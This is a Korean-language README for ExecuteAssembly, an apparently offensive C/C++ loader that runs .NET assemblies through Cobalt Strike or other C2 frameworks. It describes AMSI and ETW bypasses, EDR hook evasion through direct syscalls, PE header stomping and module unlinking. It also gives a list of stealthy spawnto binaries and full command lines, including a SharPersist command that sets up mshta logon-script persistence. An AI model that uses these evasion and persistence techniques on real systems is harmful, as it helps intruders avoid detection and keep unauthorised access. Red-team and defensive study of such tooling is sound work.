
.NET 어셈블리를 로드/인젝션하는 방법: 호스트(spawnto) 프로세스가 로드한 CLR AppDomainManager를 재사용, 로더/.NET 어셈블리 PE DOS 헤더 스톰핑, .NET 관련 모듈 언링킹, ETW+AMSI 우회, NT 정적 시스템 콜(x64)을 통한 EDR 후크 회피, API 해시를 동적으로 해석하여 임포트 은닉.
ExecuteAssembly는 CS execute-assembly의 대안으로, C/C++로 제작되었으며 .NET 어셈블리를 로드/인젝션할 수 있습니다. 호스트(spawnto) 프로세스에 로드된 CLR 모듈/AppDomainManager를 재사용하고, 로더/.NET 어셈블리 PE DOS 헤더를 스톰핑(stomping)하며, .NET 관련 모듈을 언링크(unlink)하고, ETW+AMSI를 우회하며, NT 정적 시스템 콜(x64)을 통해 EDR 후크를 회피하고, superfasthash 해싱 알고리즘으로 API를 동적 해석하여 임포트를 숨깁니다.
x64(시스템 콜): 이 버전은 주로 정적 시스템 콜을 사용하여 EDR 후크를 우회합니다. 이 버전으로 DLL의 x64 버전만 빌드할 수 있습니다. (현재 x64만 지원)
x86|x64(PEB): 런타임에 PEB 모듈 EAP 테이블을 탐색하고 superfasthash 해시를 통해 API를 해결하여 필요한 API 주소를 동적으로 가져옵니다. 단, kernel32.dll 또는 ntdll.dll에 배치된 EDR 후크는 고려하지 않습니다. 이 버전을 사용하여 x86 및 x64 DLL을 모두 빌드하거나 x86 DLL만 빌드하고 x64 DLL 빌드 시 x64(시스템 콜) 버전을 사용하여 일반적인 EDR 후크를 대응할 수 있습니다.
VS2017 및/또는 Windows SDK 10.0.17134.0(또는 호환 SDK 버전)을 사용하여 필요한 DLL을 빌드하세요.
gzip이 설치되어 있고 다음 아티팩트가 동일한 폴더에 있는지 확인한 후 aggressor 스크립트 "ExecuteAssembly.cna"를 로드하세요:
ExecuteAssembly.cna
ExecuteAssembly-x64.dll
ExecuteAssembly-x86.dll
CLI 옵션:
--dotnetassembly: 로드/인젝션할 .NET 어셈블리.
--assemblyargs: .NET 어셈블리 인수.
--unlink-modules: CLR/MsCoree 관련 DLL과 같은 .NET 관련 모듈을 PEB 데이터 구조에서 언링크.
--stomp-headers: .NET 어셈블리 및 리플렉티브 DLL PE DOS 헤더 스톰핑.
--etw: Windows 이벤트 추적(ETW) 우회.
--amsi: AMSI 우회.
--spawnto: spawnto 프로세스 선택, 실행 시 기본적으로 CLR을 로드하는 .NET 바이너리 목록:
- PresentationHost.exe
- stordiag.exe
- ScriptRunner.exe
- caitstatic.exe
- Microsoft.Uev.SyncController.exe
- TsWpfWrp.exe
- UevAgentPolicyGenerator.exe
- UevAppMonitor.exe
- FileHistory.exe
- UevTemplateBaselineGenerator.exe
- UevTemplateConfigItemGenerator.exe
spawnto-list.txt에서 기본적으로 CLR을 로드하며 spawnto로 설정하기 좋은 추가 MS 바이너리를 확인하세요. (알려진 LOLBin은 피하는 것이 좋습니다. 개발자 머신이 아닌 이상)
ExecuteAssembly --dotnetassembly /tmp/Seatbelt.exe --assemblyargs LogonSessions --unlink-modules --stomp-headers --amsi --etw --spawnto PresentationHost.exeExecuteAssembly --amsi --etw --unlink-modules --stomp-headers --dotnetassembly /tmp/ghostpack/SharPersist.exe --assemblyargs -t reg -c "C:\Windows\SysWow64\mshta.exe C:\Users\admin\Downloads\Test2.hta" -k logonscript -m add --spawnto FileHistory.exeExecuteAssembly --unlink-modules --stomp-headers --dotnetassembly /tmp/ghostpack/SharPersist.exe --assemblyargs -t reg -k "logonscript" -v "C:\Windows\SysWow64\mshta.exe C:\Users\admin\Downloads\Test.hta" -m remove --spawnto FileHistory.exeExecuteAssembly --unlink-modules --amsi --dotnetassembly /tmp/ghostpack/SharpWMI.exe --assemblyargs action=query computername=localhost query="select * from win32_service" --spawnto FileHistory.exeExecuteAssembly --amsi --etw --dotnetassembly /tmp/ghostpack/SharpWMI.exe --assemblyargs action=query query="select * from win32_process" --spawnto PresentationHost.exe주로 cobalt strike에서 생성 및 테스트되었지만, 다른 C2 프레임워크(MSF 등)에서도 사용할 수 있습니다. 리플렉티브 DLL의 DLLMAIN은 한 줄 페이로드를 매개변수(lpReserved)로 다음과 같은 형식(마침표 없이)으로 전달받습니다.
AMSI_FLAG|ETW_FLAG|STOMPHEADERS_FLAG|UNLINKMODULES_FLAG|LL_FLAG.LENGTH_FLAG.B64_ENCODED_COMPRESSED_PAYLOAD [SPACE SEPARATED ARGUMENTS]
AMSI_FLAG: 0|1 (0 또는 1)ETW_FLAG: 0|1STOMPHEADERS_FLAG: 0|1UNLINKMODULES_FLAG: 0|1LENGTH_FLAG: .NET 어셈블리 크기(바이트)LL_FLAG: length_of(LENGTH_FLAG) (그냥 넘어가거나 읽지 않은 것으로 하세요)B64_ENCODED_COMPRESSED_PAYLOAD: Gzip 압축 및 base64 인코딩된 .NET 어셈블리.[SPACE SEPARATED ARGUMENTS]: .NET 어셈블리 인수